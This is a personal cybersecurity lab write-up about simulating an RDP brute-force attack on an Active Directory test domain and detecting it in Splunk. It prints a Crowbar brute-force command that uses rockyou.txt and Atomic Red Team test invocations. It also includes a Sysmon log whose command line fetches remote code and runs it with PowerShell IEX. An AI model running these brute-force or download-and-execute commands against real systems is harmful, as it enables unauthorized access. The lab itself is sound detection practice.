

Cybersecurity Lab: Active Directory Brute Force Detection Using Crowbar and Splunk

By: Scott Bartram

Overview

This project simulates a brute-force attack on an Active Directory environment using Crowbar and ART, with Splunk used for detection. The lab includes a Windows Server domain controller, Windows 10 clients, a Splunk server, and an attacker machine running Kali Linux.

Tools Used

- Windows Server
- Windows 10
- Kali Linux / Ubuntu
- Crowbar
- Splunk
- Sysmon
- Atomic Red Team

Lab Setup

- Configured Windows Server as a domain controller.
- Joined two Windows 10 clients to the domain.

- Deployed Splunk and configured it to receive logs on port 9997.
- Created two domain user accounts
 - Tsmith
 - Jsmith
- Enabled Sysmon on endpoints.
- Allowed RDP access on both clients.
- Analyzed alerts from authentication events and PowerShell activity.

Attack Simulation

- Used Crowbar on Kali Linux to perform an RDP brute-force attack.
 - `Crowbar -b rdp -u tsmith -C rockyou.txt -s 192.168.10.100/32`
- Used the rockyou.txt dictionary file to brute force user passwords.
- Used ART to maliciously create users using PowerShell.
 - `Invoke-AtomicTest T1136.001`
 - `Invoke-AtomicTest T1059.001`
- Monitored logs for alerts notifying failed login attempts as well as account creation.

SIEM Integration and Detection

Installed and configured the Splunk Universal Forwarder on Windows 10 endpoints.

Configured Splunk to listen on TCP port 9997.

Logs were ingested into an index named endpoint.

Detection was performed using:

- index=endpoint tsmith
- index=endpoint NewLocalUser

Identified Event Codes:

- **4625**: Failed login attempts
- **4624**: Successful logins

These logs showed the RDP brute-force attempt, including failed access attempts and successful attempts.

Figure 1 & 2:

>	6/9/25 2:36:02.000 AM	06/08/2025 10:36:02 PM LogName=Security EventCode=4625 EventType=0 ComputerName=target-PC.activeserver.local SourceName=Microsoft Windows security auditing. Type=Information RecordNumber=14897 Keywords=Audit Failure TaskCategory=Logon OpCode=Info Message=An account failed to log on. Subject: Security ID: S-1-0-0 Account Name: - Account Domain: - Logon ID: 0x0 Logon Type: 3 Account For Which Logon Failed: Security ID: S-1-0-0 Account Name: tsmith Account Domain: -	i	Time	Event
>	6/10/25 5:26:43.000 AM	<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System><Provider Name="Microsoft-Windows-Sysmon" Guid="{5770385f-c22a-43e0-bf4c-06f5698fbd9}" /><EventID>1</EventID><Version>5</Version><Level>4</Level><Task>1</Task><Opcode>0</Opcode><Keywords>0x8000000000000000</Keywords><TimeCreated SystemTime="2025-06-10T05:26:43.3101792Z" /><EventRecordID>35304</EventRecordID><Correlation><Execution ProcessID="3232" ThreadID="4416" /><Channel>Microsoft-Windows-Sysmon/Operational</Channel><Computer>target-PC.activeserver.local</Computer><Security UserID="S-1-5-18" /></System><EventData><Data Name="RuleName">technique_id:T1059.003,technique_name:Windows Command Shell</Data><Data Name="UtcTime">2025-06-10 05:26:43.383</Data><Data Name="ProcessGuid">{786d31d1-c213-6847-6604-00000000a000}</Data><Data Name="ProcessId">5700</Data><Data Name="Image">C:\Windows\System32\cmd.exe</Data><Data Name="FileVersion">10.0.19041.4355 (WinBuild.160101.0800)</Data><Data Name="Description">n:Windows Command Processor</Data><Data Name="Product">Microsoft Windows Operating System</Data><Data Name="Company">Microsoft Corporation</Data><Data Name="OriginalFileName">cmd.exe</Data><Data Name="CommandLine">"cmd.exe" /c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -nopprofile "\$xml = (New-Object System.Xml.XmlDocument);\$xml.Load('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.xml');\$xml.command.a.execute IEX"</Data><Data Name="CurrentDirectory">C:\Users\ADMINI~1\AppData\Local\Temp</Data><Data Name="User">ACTIVEDESERVER\Administrator</Data><Data Name="LogonGuid">{786d31d1-c084-6847-11e2-b00000000000}</Data><Data Name="LogonId">0x0000211</Data><Data Name="TerminalSessionId">2</Data><Data Name="IntegrityLevel">High</Data><Data Name="Hashes">SHA1=DF79C6FD011B9CC89148458598F879C72566C,Md5=2B40C98ED0F7A1D38091A3E8353132DC,SHA256=BADF4752413CB0C803F895820CA167F9C0C638597CC085EF43111180E888			

Analysis and Findings

I was able to get Splunk to successfully capture both login attempts and suspicious Powershell executions. One roadblock that I ran into while completing this lab was crowbar giving me failed RDP attempts. To fix this I went through settings of the users that I created and found they were not under the RDP access list. Throughout the completion of this lab I learned a lot about Splunk and ART.

